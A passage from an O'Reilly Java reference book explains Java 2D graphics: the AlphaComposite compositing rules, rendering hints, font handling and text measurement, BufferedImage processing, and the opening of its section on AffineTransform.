Before we consider the compositing rules in detail, there is an important point you need to understand. Colors displayed on the screen never have an alpha channel. If you can see a color, it is an opaque color. The precise color value may have been chosen based on a transparency calculation, but, once that color is chosen, the color resides in the memory of a video card somewhere and does not have an alpha value associated with it. In other words, with on-screen drawing, destination pixels always have alpha values of 1.0.

The situation is different when you are drawing into an off-screen image, however. As you'll see when we consider the Java 2D BufferedImage class later in this chapter, you can specify the desired color representation when you create an off-screen image. By default, a BufferedImage object represents an image as an array of RGB colors, but you can also create an image that is an array of ARGB colors. Such an image has alpha values associated with it, and when you draw into the images, the alpha values remain associated with the pixels you draw.

This distinction between on-screen and off-screen drawing is important because some of the compositing rules perform compositing based on the alpha values of the destination pixels, rather than the alpha values of the source pixels. With on-screen drawing, the destination pixels are always opaque (with alpha values of 1.0), but with off-screen drawing, this need not be the case. Thus, some of the compositing rules only are useful when you are drawing into off-screen images that have an alpha channel.

To overgeneralize a bit, we can say that when you are drawing on-screen, you typically stick with the default SRC_OVER compositing rule, use opaque colors, and vary the alpha value used by the AlphaComposite object. When working with off-screen images that have alpha channels, however, you can make use of other compositing rules. In this case, you typically use translucent colors and translucent images and an AlphaComposite object with an alpha value of 1.0.

The compositing rules supported by AlphaComposite are a subset of the classic Porter-Duff compositing rules.[1] Each of the rules describes a way of creating a new destination color Cd' by combining a source color Cs with the existing destination color Cd. The colors are combined according to a general formula, which is applied independently to each of the red, green, and blue values of the color:

[1]These rules were described originally in the paper "Compositing Digital Images," by Porter and Duff, published in SIGGRAPH, vol. 84.

Cd' = Cs*Fs + Cd*Fd

In this formula, Fs and Fd are the fractions of the source and destination colors used in the compositing operation, respectively. Each of the eight compositing rules uses a different pair of values for Fs and Fd, which is what makes each rule unique.

As I already noted, with certain off-screen images, destination pixels can have alpha values. The new alpha value of a destination pixel is computed in the same way as the new color value of that pixel (i.e., using the same fractions). If Ad is the destination alpha value and As is the source alpha value, the resulting alpha value is computed like this:

Ad' = As*Fs + Ad*Fd

Table 4-8 lists the compositing rules supported by AlphaComposite, using the names defined by that class. Don't take the names of these constants at face value; they can be misleading. The rule names that include the words IN and OUT make the most sense if you consider the case of a 1-bit alpha channel. In this case, the alpha channel is simply a bit mask, and an image has an inside where it is fully opaque and an outside where it is fully transparent. In the more general case, with a multibit alpha channel, these compositing operations behave more generally than their names imply. These rules also make the most sense when copying one image into another; they typically are not useful for drawing lines, text, and so on.

Table 4-8 includes the Fs and Fd values, used in the preceding formulas that define each of the compositing rules. These values are specified in terms of As, the alpha value of the source pixel, and Ad, the alpha value of the destination pixel. Note that the values of Fs and Fd listed here are for illustrative purposes, to help you understand the compositing operations. The actual formulas for computing composited colors depends on whether the source and destination color values have been premultiplied by their alpha values.

Table 4-8. AlphaComposite Compositing Rules

Rule | Fs | Fd | Description
SRC_OVER | As | 1-As | By far the most commonly used compositing rule. It draws the source on top of the destination. The source and destination are combined based on the transparency of the source. Where the source is opaque, it replaces the destination. Where the source is transparent, the destination is unchanged. Where the source is translucent, the source and destination colors are combined so that some of the destination color shows through the translucent source.
DST_OVER | 1-Ad | Ad | This rule draws the source based on the transparency of the destination, so that the source appears to be underneath the destination. Where the destination is opaque, it is left unchanged. Where the destination is fully transparent, the source is drawn. Where the destination is translucent, the source and destination colors are combined so that some of the source color shows through the translucent destination.
SRC | 1.0 | 0.0 | The source replaces the destination color and its alpha channel with the source color and its alpha channel. In other words, the rule does a simple replacement, ignoring the destination and doing no color blending at all.
CLEAR | 0.0 | 0.0 | This rule ignores both the source and the destination. It clears the destination by setting it to a fully transparent black.
SRC_IN | Ad | 0 | This rule draws the source color using the transparency of the destination. Where the destination is fully opaque, it is replaced with an opaque version of the source. Where the destination is fully transparent, it remains fully transparent. Where the destination is translucent, it is replaced with an equally translucent version of the source. The color of the destination is never blended with the color of the source.
SRC_OUT | 1-Ad | 0 | This is the inverse of the SRC_IN rule. It draws the source color using the inverse of the destination transparency. Where the destination is opaque, it becomes transparent. Where the destination is transparent, it is replaced with an opaque version of the source. Where the destination is translucent, it is replaced with an inversely translucent version of the source.
DST_IN | 0 | As | This rule ignores the color of the source, but modifies the destination based on the transparency of the source. Where the source is transparent, the destination becomes transparent. Where the source is opaque, the destination is unmodified. Where the source is translucent, the destination becomes correspondingly translucent.
DST_OUT | 0 | 1-As | This rule is the inverse of the DST_IN rule. It ignores the source color but modifies the destination based on the inverse of the source transparency. Where the source is opaque, the destination becomes transparent. Where the source is transparent, the destination is left unmodified. Where the source is translucent, the destination is given the inverse translucency.

Finally, note that AlphaComposite also predefines constant AlphaComposite objects that use each of these rules along with a built-in alpha value of 1.0. For example, the AlphaComposite.DstOver object uses the AlphaComposite.DST_OVER compositing rule with an alpha value of 1.0. This object is the same as the object created by:

AlphaComposite.getInstance(AlphaComposite.DST_OVER, 1.0f)

Remember that if you use an AlphaComposite object with an alpha value other than the default 1.0, that alpha value is used to make the source colors more transparent before the rest of the compositing operation occurs.

Previous | Home | Next
4.6. Paint | Book Index | 4.8. Rendering Hints
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Rendering Hints (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

4.8. Rendering Hints

Another graphics attribute used by the Graphics2D class is java.awt.RenderingHints. This class is a mapping (a java.util.Map) from a set of rendering hint names to a set of rendering hint values. Unlike with other attributes, Graphics2D defines more than one method to set the rendering hints attribute. setRenderingHints() specifies a new set of hints that replaces the old set of hints, while addRenderingHints() adds a set of hints to the existing set and setRenderingHint() sets the value for a single hint in the current set of hints.

Rendering hints are suggestions to Java 2D about how it should perform its rendering. The RenderingHints class defines a number of constants whose names begin with KEY_. These constants represent the kind of hints you can give. The class also defines a number of constants whose names begin with VALUE_. These are the legal values for the various hints. The names of the VALUE constants make it clear with which hint KEY constant each value is associated.

The purpose of the hints is to allow you to request that Java 2D turn a particular feature, such as antialiasing, on or off. In addition, the hints allow you to suggest what kind of speed versus quality trade-offs Java 2D should make. Remember that these are hints and suggestions to Java 2D, not commands. Not all Java 2D implementations support all the hints, and different implementations have different default values for the hints. Furthermore, the meanings of the hints are not precisely defined, so different implementations may interpret the hints differently.

Suppose that you are writing an application that draws complex graphics. For slow systems, you might want to support a draft mode that draws graphics quickly at the expense of high-quality output. Your code might look like this:

public void paint(Graphics graphics) {
  Graphics2D g = (Graphics2D)graphics;
  if (draftmode) {
    g.setRenderingHint(RenderingHints.KEY_RENDERING,
                       RenderingHints.VALUE_RENDER_SPEED);
    g.setRenderingHint(RenderingHints.KEY_ANTIALIASING,
                       RenderingHints.VALUE_ANTIALIAS_OFF);
    g.setRenderingHint(RenderingHints.KEY_TEXT_ANTIALIASING,
                       RenderingHints.VALUE_TEXT_ANTIALIAS_OFF);
    g.setRenderingHint(RenderingHints.KEY_FRACTIONALMETRICS,
                       RenderingHints.VALUE_FRACTIONALMETRICS_OFF);
    g.setRenderingHint(RenderingHints.KEY_COLOR_RENDERING,
                       RenderingHints.VALUE_COLOR_RENDER_SPEED);
    g.setRenderingHint(RenderingHints.KEY_DITHERING,
                       RenderingHints.VALUE_DITHER_DISABLE);
  }
}
Previous | Home | Next
4.7. Blending Colors with AlphaComposite | Book Index | 4.9. Fonts and Text
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Fonts and Text (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

4.9. Fonts and Text

As we've seen, fonts are represented in AWT by the java.awt.Font class. While you can continue to use fonts in Java 1.2 exactly as you did in Java 1.1, Java 2D has added a number of powerful new features related to fonts and text rendering that you may want to take advantage of.

4.9.1. Available Fonts

Java 1.0 and Java 1.1 support only a small set of fonts, specified by logical font names. Although these logical fonts are guaranteed to be available on every platform, they are not guaranteed to look the same on every platform. In addition, the lack of variety severely limits the design choices available to developers. The fonts and their logical names were listed earlier in Table 4-3.

Java 1.2 allows an application to use any font installed on the native system and refer to that font by its physical font name, instead of a logical font name. A physical font name is the actual name of a font, such as "Century Gothic" or "Lucida Sans Bold." To request a specific font, simply pass its physical name to the Font() constructor. The Font() constructor always returns a valid Font object, even if the font you have requested does not exist. If you need to check whether you got the font you requested, call the getFontName() method of the returned font.

If you want to be sure that a font exists on the host system before attempting to use it, you should first query the system to find out what fonts are installed. You can do this with methods of the java.awt.GraphicsEnvironment object. The code looks like this:

GraphicsEnvironment env = GraphicsEnvironment.getLocalGraphicsEnvironment();
Font[] allfonts = env.getAllFonts();

The getAllFonts() method returns an array of Font objects that represents all of the fonts installed on the system. Each Font object in this array represents a font that is one point high, so you have to scale the font (using deriveFont() as explained shortly) before using it. Also, in the initial release of Java 1.2 at least, the getAllFonts() method can take prohibitively long to return (65 seconds on my Windows 95 system).

Another GraphicsEnvironment method, getAvailableFontFamilyNames(), returns an array of font family names instead of an array of Font objects:

GraphicsEnvironment env = GraphicsEnvironment.getLocalGraphicsEnvironment();
String[] familynames = env.getAvailableFontFamilyNames();

This method returns relatively quickly and is therefore safer to call than getAllFonts(). Note that this method returns font family names (e.g., "Lucida Sans"), not actual font face names (e.g., "Lucida Sans Oblique"). The good news is that you can get away with specifying a font family name instead of a font face name when you call the Font() constructor.[2]

[2]A bug in Java 1.2, 1.2d, and 1.2.2 prevents the Font() constructor from working with any nonlogical font name unless you have previously queried the list of available fonts or font family names.

4.9.2. Font Attributes

In Java 1.2, the Font class has a new constructor that is passed a java.util.Map object that contains a set of font attributes. These attributes specify the desired characteristics of the font; the Font() constructor tries to return a Font that matches the attributes. Typically, you use a java.util.Hashtable or java.util.Hashmap to hold your attribute values. The attribute names or keys are constants defined in java.awt.font.TextAttribute. The important constants are FAMILY, SIZE, WEIGHT, and POSTURE. The TextAttribute class also defines commonly used values for the WEIGHT and POSTURE attributes.

4.9.3. Transforming Fonts

The Font class defines several deriveFont() methods that allow you to use a Font object to create related Font objects. deriveFont() is typically used to return a new Font object that represents an existing font at a different size or in a different style. For example:

GraphicsEnvironment env = GraphicsEnvironment.getLocalGraphicsEnvironment();
String[] familynames = env.getAvailableFontFamilyNames();
Font regularFont = new Font("Century Schoolbook", Font.PLAIN, 12);
Font bigFont = regularFont.deriveFont(18.0f);
Font boldFont = regularFont.deriveFont(Font.BOLD);
Font bigBoldFont = regularFont.deriveFont(Font.BOLD, 24.0f);

When you are passing a point size to deriveFont(), be sure to explicitly specify a float value, such as the 18.0f constant in the preceding code, so that you do not inadvertently call the version of deriveFont() that takes an integer-style constant.

You can also derive a transformed version of a Font object by passing in an arbitrary java.awt.geom.AffineTransform object. This technique allows you to arbitrarily rotate or skew any font, as we'll discuss later in the chapter.

4.9.4. Text-Rendering Hints

The java.awt.RenderingHints class defines two hints that apply particularly to text drawing. The first controls antialiasing. Antialiasing is a technique used to make the jagged edges of shapes, such as the glyphs of a font, look smoother. It is implemented using translucent colors and compositing: when the edge of a shape only partially covers a pixel, the color used to draw that pixel is given an alpha- transparency value that corresponds to the amount of coverage. If a fully covered pixel is drawn with an opaque color, a pixel that is only one-quarter covered is drawn with an alpha value of .25. As you can imagine, antialiasing can be computationally intensive. However, the smoothing effect it achieves is significant and is particularly useful when drawing small amounts of text at large point sizes.

The first text-related rendering hint simply requests antialiasing for text. If you want text to be antialiased, set the KEY_TEXT_ANTIALIASING hint to VALUE_ TEXT_ANTIALIAS_ON. There is also a more general hint, KEY_ANTIALIASING. Java 2D defines a separate hint for text so that you can choose independently whether to request antialiasing for text and other graphics.

The second text-related rendering hint controls the low-level positioning of characters of text. When Java 2D renders the shape of an individual font glyph, it caches the rendered pixels for reuse. This technique dramatically speeds up text display. However, the cached rendering is useful only if the glyph is always drawn at an integral pixel position. By default, therefore, most implementations of Java 2D adjust character spacing so that the origin of each character falls evenly on an integer-pixel coordinate. If you want to be able to position text at arbitrary floating-point positions, without forcing each character to the nearest device pixel, set the KEY_FRACTIONALMETRICS hint to VALUE_FRACTIONALMETRICS_ON. Note, however, that the visual effect of setting this hint is rarely worth the computational overhead it requires.

4.9.5. Measuring Text and Fonts

Sometimes you need to obtain measurement information about a font or measure text before you can draw text. For example, to horizontally center a string of text, you must be able to figure out how wide it is. To correctly draw multiple lines of text, you need to be able to query the baseline position and the interline spacing for the font. In Java 1.0 and Java 1.1, you obtained this information with the FontMetrics class (as described near the beginning of the chapter).

Java 2D provides another way to measure the width of a string of text. The Font class defines several getStringBounds() methods that return the width and height of a specified string as a Rectangle2D object. These methods allow widths to be returned as floating-point numbers instead of integers and are therefore more accurate than the stringWidth() method of FontMetrics. Each variant of getStringBounds() allows you to specify a string of text in a different way. What these methods have in common, however, is that they must all be passed a FontRenderContext object. This object contains information needed to accurately measure text. It includes information about whether antialiasing and fractional metrics are being used, for example. You can obtain an appropriate FontRenderContext by calling the getFontRenderContext() method of a Graphics2D object.

The Java 1.2 Font class also defines a set of getLineMetrics() methods that are similar to the getStringBounds() methods. Each method takes a FontRenderContext object and returns a java.awt.font.LineMetrics object that contains various vertical metrics for the font. LineMetrics is similar to the older FontMetrics, except that it returns precise float values instead of approximate int values. getHeight() returns the line height of the font. This value is the sum of the values returned by getAscent(), getDescent(), and getLeading(). Ascent is the amount of space above the baseline, descent is the space below the baseline, and leading space is the empty interline spacing for the font. Other LineMetrics methods return values that allow you to correctly underline and strike through text.

The following code shows how you can obtain important metrics for a string of text, so that you can center it in a box:

Graphics2D g;                     // Initialized elsewhere
Font f;                           // Initialized elsewhere
String message = "Hello World!";  // The text to measure and display
Rectangle2D box;                  // The display box: initialized elsewhere

// Measure the font and the message
FontRenderContext frc = g.getFontRenderContext();
Rectangle2D bounds = f.getStringBounds(message, frc);
LineMetrics metrics = f.getLineMetrics(message, frc);
float width = (float) bounds.getWidth();     // The width of our text
float lineheight = metrics.getHeight();      // Total line height
float ascent = metrics.getAscent();          // Top of text to baseline

// Now display the message centered horizontally and vertically in box
float x0 = (float) (box.getX() + (box.getWidth() - width)/2);
float y0 = (float) (box.getY() + (box.getHeight() - lineheight)/2 + ascent);
g.setFont(f);
g.drawString(message, x0, y0);

The getLineMetrics() methods all require a string to be specified, just as the getStringBounds() methods do. This is because a single font may have different font metrics for glyphs in different writing systems. If you pass a string of Latin text, you may get a different LineMetrics object than you would if you supplied a string of Chinese text, for example. If you pass in a string that mixes text from several distinct writing systems, you get line metrics for only a prefix of that string. The LineMetrics.getNumChars() method returns the length of this prefix.

4.9.6. Advanced Text Drawing

The easiest way to display text in an application is to use a Swing component such as a JLabel, JTextField, JTextArea, or JEditorPane. Sometimes, however, you have to draw text explicitly, such as when you are implementing a custom Swing component.

The easiest way to draw text is with the drawString() method of Graphics or Graphics2D. drawString() is actually a more complex method than you might think. It works by first taking the characters of a string and converting them to a list of glyphs in a font. There is not always a one-to-one correspondence between characters and glyphs, however, and font encodings usually do not match the Unicode encoding used for characters. Next, the method must obtain the measurements of each glyph in the list of glyphs and position it individually. Only after these steps can the method actually perform the requested string drawing operation.

If you are drawing a string repeatedly, you can optimize this process by first converting the string of characters into a java.awt.font.GlyphVector.[3] This converts characters to glyphs and calculates the appropriate position for each glyph. Then, to draw the string, you simply pass the resulting glyph vector to the drawGlyphVector() method of a Graphics2D object. Your code might look like this:

[3]The drawString() method is typically already highly optimized for drawing basic ASCII or Latin-1 text without antialiasing. Using a GlyphVector may actually slow down the drawing process.

Graphics2D g;
Font f;
GlyphVector msg = f.createGlyphVector(g.getFontRenderContext(), "Hello");
g.drawGlyphVector(msg, 100.0f, 100.0f);

This technique is useful only if you expect to be drawing the same string repeatedly. The optimization occurs because the string is converted to glyphs only once, instead of being converted each time you call drawString().

The GlyphVector class has a number of methods that are useful for other purposes. Once you have created a GlyphVector, you can call getOutline() to obtain a Shape that represents the original string or getGlyphOutline() to get the Shape of a single glyph. You can also call getGlyphMetrics() to obtain a GlyphMetrics object that contains detailed metrics for an individual glyph.

Two other methods, setGlyphPosition() and setGlyphTransform(), are designed to let you set the position and transform for individual glyphs. For example, you might use setGlyphPosition() to increase the interletter spacing of a glyph in a GlyphVector in order to implement fill-justification. In the initial release of Java 1.2, however, these methods are not implemented. If you want to handle the low-level layout of glyphs, one approach is to implement your own subclass of the abstract GlyphVector class.

A GlyphVector object can represent only glyphs from a single font; the default implementation represents only glyphs that appear on a single line of text. If you want to represent a single line of multifont text, you can use a java.awt. font.TextLayout object. And if you want to work with multiline text, you can use java.awt.font.LineBreakMeasurer to break a paragraph of multifont text into multiple TextLayout objects, each representing a single line of text.

TextLayout is a powerful class for displaying multifont text. It supports bidirectional text layout, such as when left-to-right English text is mixed with right-to-left Hebrew or Arabic text or when right-to-left Hebrew letters are mixed with left-to-right Hebrew numbers. Once you've created a TextLayout object, you can draw the text it represents by calling its draw() method, specifying a Graphics2D object and a position.

The TextLayout object does more than simply draw text. Once the text is drawn, it also provides methods that applications can use to allow a user to interact with the text. If the user clicks on the text, the TextLayout has a method that allows you to determine which character was clicked on. If you want to highlight portions of the text, you can tell the TextLayout the first and last characters to be highlighted, and it returns a Shape that represents the region to be highlighted. Similarly, if you want to display an insertion cursor within the text, you can specify the character position, and the TextLayout returns a Shape that you can draw to display the cursor. Although these methods may seem trivial, they in fact handle all the nontrivial complexities of multifont and bidirectional text, making TextLayout a powerful class for certain applications.

You can create a TextLayout object by specifying a String, a Font, and a FontRenderContext. However, a TextLayout created in this way can represent only single-font text. To display multifont text, you must use a java.text.AttributedCharacterIterator to represent the text. The attributes associated with the text should be java.awt.font.TextAttribute constants, such as TextAttribute.FONT. The easiest way to create an AttributedCharacterIterator is to create a java.text.AttributedString, specify attributes with its addAttribute() method, and then get an iterator for it with its getIterator() method. The java.text API is covered in Java in a Nutshell, not in this book.

4.9.7. Text Art with Font Glyphs

As I mentioned earlier, the GlyphVector class allows you to obtain a Shape object that represents the outline of a single glyph or a string of glyphs. This is a powerful feature of Java 2D that allows you to produce sophisticated text art. The Shape object returned by the getOutline() or getGlyphOutline() method of GlyphVector can be used in the same way that you use any other Shape object. Use the draw() method of Graphics2D to draw the outline of the glyph or glyphs. Use fill() to fill the glyphs with an arbitrary Paint. You can transform the glyph shapes by scaling, rotating, and skewing them and you can even use them to perform clipping and hit detection.

Previous | Home | Next
4.8. Rendering Hints | Book Index | 4.10. Buffered Images
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Buffered Images (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

4.10. Buffered Images

Java 2D introduces a new java.awt.Image subclass, java.awt.image.BufferedImage. BufferedImage represents image data that is present in memory, unlike Image, which typically represents streaming image data being transferred over a network. Java 2D also provides powerful image-processing classes that operate on BufferedImage objects and are much simpler to use than the ImageFilter class of Java 1.0.

As we discussed at the beginning of the chapter, Java knows how to read images in commonly used formats from files and URLs. You can use the getImage() method of either Applet() or Toolkit to retrieve an Image, but the image data may not have been fully read when the method returns. If you want to ensure that the image is fully loaded, you have to use a java.awt.MediaTracker. Note also that both of these methods return read-only Image objects, rather than read/write BufferedImage objects.

If you are writing a Swing application, an easy way to load an image is with the javax.swing.ImageIcon class. This class automatically waits until the image is fully loaded. For example:

Image myimage = new javax.swing.ImageIcon("myimage.gif").getImage();

As useful as ImageIcon is, its getImage() method still returns an Image object, not a BufferedImage object.

4.10.1. Obtaining a BufferedImage

To create an empty BufferedImage object, call the createImage() method of a Component. This method was first introduced in Java 1.0; it returns an Image object. In Java 1.2, however, the returned Image object is always an instance of BufferedImage, so you can safely cast it. After you have created an empty BufferedImage, you can call its createGraphics() method to obtain a Graphics2D object. Then use this Graphics2D object to draw image data from an Image object into your BufferedImage object. For example:

javax.swing.JFrame f;                  // Initialized elsewhere

// Create an image, and wait for it to load
Image i = javax.swing.ImageIcon("myimage.gif").getImage();

// Create a BufferedImage of the same size as the Image
BufferedImage bi = (BufferedImage)f.createImage(i.getWidth(f),i.getHeight(f));

Graphics2D g = bi.createGraphics();    // Get a Graphics2D object
g.drawImage(i, 0, 0, f);      // Draw the Image data into the BufferedImage

Note that we must pass an ImageObserver object to the getWidth(), getHeight() and drawImage() methods in this code. All AWT components implement ImageObserver, so we use our JFrame for this purpose. Although we could have gotten away with passing null, this is exactly the sort of complexity that the BufferedImage API allows us to avoid.

Sun's implementation of Java 1.2 ships with a package named com.sun.image.codec.jpeg that contains classes for reading JPEG image data directly into BufferedImage objects and for encoding BufferedImage image data using the JPEG image format. Although this package is not part of the core Java 2 platform, most Java implementations will probably contain these classes. You can use this package to read JPEG files with code like this:

import java.io.*;
import com.sun.image.codec.jpeg.*;

FileInputStream in = new FileInputStream("myimage.jpeg");
JPEGImageDecoder decoder = JPEGCodec.createJPEGDecoder(in);
BufferedImage image = decoder.decodeAsBufferedImage();
in.close();

4.10.2. Drawing a BufferedImage

A BufferedImage is a kind of Image, so you can do anything with a BufferedImage that you can do with an Image. For instance, the Graphics class defines a number of methods for drawing Image objects. Some of these methods take only an X and a Y coordinate at which to draw the image and simply draw the image at its original size. Other drawImage() methods also take a width and a height and scale the image as appropriate.

Java 1.1 introduced more sophisticated drawImage() methods that take coordinates that specify a destination rectangle on the drawing surface and a source rectangle within the image. These methods map an arbitrary subimage onto an arbitrary rectangle of the drawing surface, scaling and flipping as necessary. Each of these drawImage() methods comes in two versions, one that takes a background color argument and one that does not. The background Color is used if the Image contains transparent pixels.

Since all the drawImage() methods of the Graphics object operate on Image objects instead of BufferedImage objects, they all require a Component or other ImageObserver object to be specified.

In Java 2D, the Graphics2D object defines two more drawImage() methods. One of these methods draws an Image object as modified by an arbitrary AffineTransform object. As we'll see a bit later, an AffineTransform object can specify a position, scaling factor, rotation, and shear.

The other drawImage() method of Graphics2D actually operates on a BufferedImage object. This method processes the specified BufferedImage as specified by a BufferedImageOp object and then draws the processed image at the specified position. We'll talk about image processing with BufferedImageOp objects in more detail shortly. Since this drawImage() method operates on a BufferedImage object instead of an Image object, it does not require an ImageObserver argument.

Finally, the Graphics2D class defines a drawRenderedImage() method. BufferedImage implements the RenderedImage interface, so you can pass a BufferedImage to this method, along with an arbitrary AffineTransform that specifies where and how to draw it.

4.10.3. Drawing into a BufferedImage

As I mentioned earlier, the createGraphics() method of a BufferedImage returns a Graphics2D object that you can use to draw into a BufferedImage. Anything you can draw on the screen, you can draw into a BufferedImage. One common reason to draw into a BufferedImage object is to implement double-buffering. When performing animations or other repetitive drawing tasks, the erase/redraw cycle can cause flickering. To avoid this, do your drawing into an off-screen BufferedImage and then copy the contents of the image to the screen all at once. Although this requires extra memory, it can dramatically improve the appearance of your programs.[4]

[4]Recall that Swing components, and custom components subclassed from Swing components, automatically support double-buffering.

4.10.4. Manipulating Pixels of a BufferedImage

The Image class defines very few methods, so about all you can do with an Image object is query its width and height. The BufferedImage class, by contrast, defines quite a few methods. Most of these are required by interfaces that BufferedImage implements. A few important ones, however, allow pixel-level manipulation of images.

For example, getRGB() returns the image pixel at the specified X and Y coordinates, while setRGB() sets the pixel at the specified coordinates. Both of these methods represent the pixel value as an int that contains 8-bit red, green, and blue color values. Other versions of getRGB() and setRGB() read and write rectangular arrays of pixels into int arrays. getSubimage() is a related method that returns a rectangular region of the image as a BufferedImage.

4.10.5. Inside a BufferedImage

Most applications can use the BufferedImage class without ever caring what is inside a BufferedImage. However, if you are writing a program that performs low-level image-data manipulation, such as reading or writing image data from a file, you need to know more. The complete details of the image architecture are beyond the scope of this book; this section explains the basics in case you want to explore on your own.

The image data of a BufferedImage is stored in a java.awt.image.Raster object, which can be obtained with the getData() method of BufferedImage. The Raster itself contains two parts: a java.awt.image.DataBuffer that holds the raw image data and a java.awt.image.SampleModel object that knows how to extract individual pixel values out of the DataBuffer. DataBuffer supports a wide variety of formats for image data, which is why a Raster object also needs a SampleModel.

The Raster object of a BufferedImage stores the pixel values of an image. These pixel values may or may not correspond directly to the red, green, and blue color values to be displayed on the screen. Therefore, a BufferedImage object also contains a java.awt.image.ColorModel object that knows how to convert pixel values from the Raster into Color objects. A ColorModel object typically contains a java.awt.color.ColorSpace object that specifies the representation of color components.

4.10.6. Processing a BufferedImage

The java.awt.image package defines five powerful implementations of the BufferedImageOp interface that perform various types of image-processing operations on BufferedImage objects. The five implementations are described briefly in Table 4-9.

Table 4-9. Java 1.2 Image-Processing Classes

Class | Description
AffineTransformOp | Performs an arbitrary geometric transformation--specified by an AffineTransform--on an image. The transform can include scaling, rotation, translation, and shearing in any combination. This operator interpolates pixel values when needed, using either a fast, nearest-neighbor algorithm or a slower, higher-quality bilinear interpolation algorithm. This class cannot process images in place.
ColorConvertOp | Converts an image to a new java.awt.color.ColorSpace. It can process an image in place.
ConvolveOp | Performs a powerful and flexible type of image processing called convolution, which is used for blurring or sharpening images and performing edge detection, among other things. ConvolveOp uses a java.awt.image.Kernel object to hold the matrix of numbers that specify exactly what convolution operation is performed. Convolution operations cannot be performed in place.
LookupOp | Processes the color channels of an image using a lookup table, which is an array that maps color values in the source image to color values in the new image. The use of lookup tables makes LookupOp a very flexible image-processing class. For example, you can use it to brighten or darken an image, to invert the colors of an image, or to reduce the number of distinct color levels in an image. LookupOp can use either a single lookup table to operate on all color channels in an image or a separate lookup table for each channel. LookupOp can be used to process images in place. You typically use LookupOp in conjunction with java.awt.image.ByteLookupTable.
RescaleOp | Like LookupOp, RescaleOp is used to modify the values of the individual color components of an image. Instead of using a lookup table, however, RescaleOp uses a simple linear equation. The color values of the destination are obtained by multiplying the source values by a constant and then adding another constant. You can specify either a single pair of constants for use on all color channels or individual pairs of constants for each of the channels in the image. RescaleOp can process images in place.

To use a BufferedImageOp, simply call its filter() method. This method processes or filters a source image and stores the results in a destination image. If no destination image is supplied, filter() creates one. In either case, the method returns a BufferedImage that contains the processed image. As noted in Table 4-9, some implementations of BufferedImageOp can process an image "in place." These implementations allow you to specify the same BufferedImage object as both the source and destination arguments to the filter() method.

To convert a color image to grayscale, you can use ColorConvertOp as follows:

import java.awt.image.*;
import java.awt.color.*;

ColorConvertOp op = new ColorConvertOp(ColorSpace.getInstance(CS_GRAY), null);
BufferedImage grayImage = op.filter(sourceImage, null);

To invert the colors in an image (producing a photographic negative effect), you might use a RescaleOp as follows:

RescaleOp op = new RescaleOp(-1.0f, 255f, null);
BufferedImage negative = op.filter(sourceImage, null);

To brighten an image, you can use a RescaleOp to linearly increase the intensity of each color value. More realistic brightening effects require a nonlinear transform, however. For example, you can use a LookupOp to handle brightening based on the square-root function, which boosts midrange colors more than colors that are dark or bright:

byte[] data = new byte[256];
for(int i = 0; i < 256; i++)
  data[i] = (byte)(Math.sqrt((float)i/255.0) * 255);
ByteLookupTable table = new ByteLookupTable(0, data);
LookupOp op = new LookupOp(table, null);
BufferedImage brighterImage = op.filter(sourceImage, null);

You can blur an image using a ConvolveOp. When processing an image by convolution, a pixel value in the destination image is computed from the corresponding pixel value in the source image and the pixels that surround that pixel. A matrix of numbers known as the kernel is used to specify the contribution of each source pixel to the destination pixel. To perform a simple blurring operation, you might use a kernel like this to specify that the destination pixel is the average of the source pixel and the eight pixels that surround that source pixel:

0.1111  0.1111  0.1111
0.1111  0.1111  0.1111
0.1111  0.1111  0.1111

Note that the sum of the values in this kernel is 1.0, which means that the destination image has the same brightness as the source image. To perform a simple blur, use code like this:

Kernel k = new Kernel(3, 3, new float[] { .1111f, .1111f, .1111f,
                                          .1111f, .1111f, .1111f,
                                          .1111f, .1111f, .1111f });
ConvolveOp op = new ConvolveOp(k);
BufferedImage blurry = op.filter(sourceImage, null);
Previous | Home | Next
4.9. Fonts and Text | Book Index | 4.11. Transformations with AffineTransform
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Transformations with AffineTransform (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

4.11. Transformations with AffineTransform

As we discussed earlier when we considered the Java 2D coordinate system, the java.awt.geom.AffineTransform class represents a general mapping from one coordinate system to another. AffineTransform defines a general coordinate-system transformation that can include translation, scaling, rotation, and shearing.

4.11.1. Setting Up an AffineTransform

One of the easiest ways to obtain an AffineTransform object is to use one of the static methods defined by AffineTransform. For example, getScaleInstance() returns an instance of AffineTransform that represents a simple scaling transformation.

Another way to get an AffineTransform is with the AffineTransform() constructor, of course. The no-argument version of the constructor returns an AffineTransform that represents the identity transform--that is, no transform at all. You can modify this empty transform with a number of methods. Note that AffineTransform defines several other constructors, but we have to wait to discuss them until after we've discussed the mathematics that underlie AffineTransform.

Once you have obtained an AffineTransform object, you can modify it with methods just like the methods defined by Graphics2D. Each of the translate(), scale(), rotate(), and shear() methods modifies an AffineTransform by adding the specified transformation to it. Note that there are two versions of rotate(). One rotates around the origin and the other rotates around a specified point; both use angles specified in radians. Remember that calls to these four methods are cumulative: you can build up a complex transformation as a combination of translation, scaling, rotation, and shearing.

AffineTransform also defines noncumulative methods. setToTranslation(), setToScale(), setToRotation(), and setToShear() set an AffineTransform to a single transform, replacing whatever transform was previously contained by the AffineTransform.

4.11.2. Performing Transformations

Once you have created and initialized an AffineTransform object, you can use it to transform points and shapes. AffineTransform defines a number of transform() methods that transform points represented by either java.awt. geom.Point2D objects or arrays of numbers. deltaTransform() is a variant of transform() that performs a transformation disregarding any translation component. It is designed for transforming distances or position-independent vectors, instead of actual points. inverseTransform() is the inverse of transform()--it converts points expressed in the new coordinate system back to the corresponding points in the original coordinate system.

The transform(), deltaTransform(), and inverseTransform() methods are fairly low-level and typically are not used directly by Java 2D programs. Instead, a program typically uses the createTransformedShape() method, which provides a powerful, high-level transformation capability. Given an arbitrary Shape object, this method returns a new Shape that has been transformed as specified by the AffineTransform object.

4.11.3. The Mathematics of AffineTransform

The coordinate system transformations described by AffineTransform have two very important properties:

  • Straight lines remain straight

  • Parallel lines remain parallel

